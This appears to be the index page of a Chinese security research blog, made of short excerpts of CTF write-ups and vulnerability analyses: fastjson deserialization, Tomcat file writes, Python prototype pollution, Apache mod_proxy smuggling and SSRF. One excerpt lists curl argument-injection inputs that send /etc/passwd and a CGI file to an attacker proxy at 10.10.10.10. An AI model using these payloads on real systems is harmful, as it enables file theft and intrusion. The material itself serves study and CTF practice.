HackingJSON
fastjson总结 1.2.24 ~ 1.2.43fastjson-1.2.25 在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。 影响版本:fastjson <= 1.2.24描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。 fastjson-1.2.25 在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。 影响版本:1.2.25 <= fastjson <=...
tabby在CTF中的使用
环境配置参考作者的环境配置 https://github.com/wh1t3p1g/tabby https://github.com/wh1t3p1g/tabby/wiki/Tabby 想要带上jdk一起分析,需要打开这个配置 1tabby.build.isJDKProcess = true 语法可以参考 https://www.w3cschool.cn/neo4j/ https://www.jianshu.com/p/0e44cadbe194 b4bycoffee题目存在反序列化入口 12345678910111213141516@RequestMapping({"/b4by/coffee"})public Message order(@RequestBody CoffeeRequest coffee) throws IOException, ClassNotFoundException, ConfigurationException { if (coffee.Venti !=...
Apk逆向分析从0到0.1
记录一次移动终端安全的作业,学习apk的逆向技术 环境准备apktool.jar:用来解包、重打包 Android Studio:调试apk jadx-gui:反编译apk为java源码,静态 解包 1apktool.bat b crackme.apk 开启debug模式 找到 AndroidManifest.xml 文件中 application 这一行属性,并添加 android:debuggable="true"(如果已经有的话就不用了) 重打包 1apktool b /crackme -o crackme_debug.apk 生成密钥 用as自带的工具生成一个key 签名 给刚刚生成的crackme_debug.apk签名 1jarsigner -verbose -keystore C:\Users\14169\key.jks -signedjar C:\Users\14169\Desktop\crackme_debug.apk C:\Users\14169\Desktop\crackme_debug.apk...
从DesperateCat学习tomcat写文件利用方式
环境搭建附件可以从github下载,为了方便调试,本地idea新建一个web项目,把反编译的源码复制过去 本地使用一模一样的tomcat的版本9.0.56,官网下载Index of /dist/tomcat/tomcat-9/v9.0.56 (apache.org) 源码分析web.xml中有一个ExportServlet映射到了/export这个路由上 12345678<servlet> <servlet-name>ExportServlet</servlet-name> <servlet-class>org.rwctf.servlets.ExportServlet</servlet-class></servlet><servlet-mapping> <servlet-name>ExportServlet</servlet-name> ...
AliyunCTF复现
...
python原型链污染总结
污染示例污染函数,类似于js中的merge 123456789101112def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k,...
code-breaking 复现
bashinj源码index.cgi 1234567891011#!/bin/bashsource ./_dep/web.cgiecho_headersname=${_GET["name"]}[[ $name == "" ]] && name='Bob'curl -v http://httpbin.org/get?name=$name 虽然$name可控,但无法达成任意命令注入的效果 bash会将像curl这样的命令视为“函数”,并不具备像eval这样的动态执行的能力,也就是说我们只能控制住curl的参数。 读文件 本地监听6666,用-x来控制curl的代理服务器为我们的攻击机,外带数据 1234567name=sa -F file=@index.cgi -x 10.10.10.10:6666name=sa -F file=@/etc/passwd -x 10.10.10.10:6666name=sa -T /etc/passwd -x 10.10.10.10:6666 ...
Apache HTTP Server 请求走私漏洞 CVE-2023-25690 调试分析
[toc] Apache HTTP Server 请求走私漏洞 CVE-2023-25690漏洞描述Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。 启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误 例如以下配置 12345RewriteEngine onRewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]ProxyPassReverse /here/ http://example.com:8080/ 此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击 影响版本2.4.0 <= Apache HTTP Server <= 2.4.55 环境搭建操作系统使用 Ubuntu...
Apache mod_proxy 另一个角度的攻击手法
Apache mod_proxy 另一个角度的攻击手法[toc] 背景在跟着一篇文章复现mod_proxy的SSRF漏洞时(CVE-2021-40438),我发现一个很奇怪的点,就是在利用反向代理ssrf第一次成功后,后续想ssrf打其他的地址,发现返回的还是第一次的回显,这就让我十分疑惑,只能进入apache源码中进行调试,发现了一些蹊跷 原因概括一下就是apache在第一次反向代理的时候会把请求的hostname与port保存在内存中,类似一个缓存机制,之后如果再走反代会读取这片内存,后续也会跳过对hostname与port的赋值操作,这在正常反代中是没有问题的(因为反代的地址是conf里面写死的) 可能存在的攻击手法如果我能用反代进行ssrf(必须是当前进程第一次反代),便可以污染这片内存,控制该进程处理的后续所有反代请求的hostname与port,达成一种攻击手法 该手法有以下几个要点: 能利用反代进行ssrf,从而控制反代的地址,可以利用 CVE-2021-40438 能随时污染这片内存,我第一个想到的思路是利用某种方法把 apache...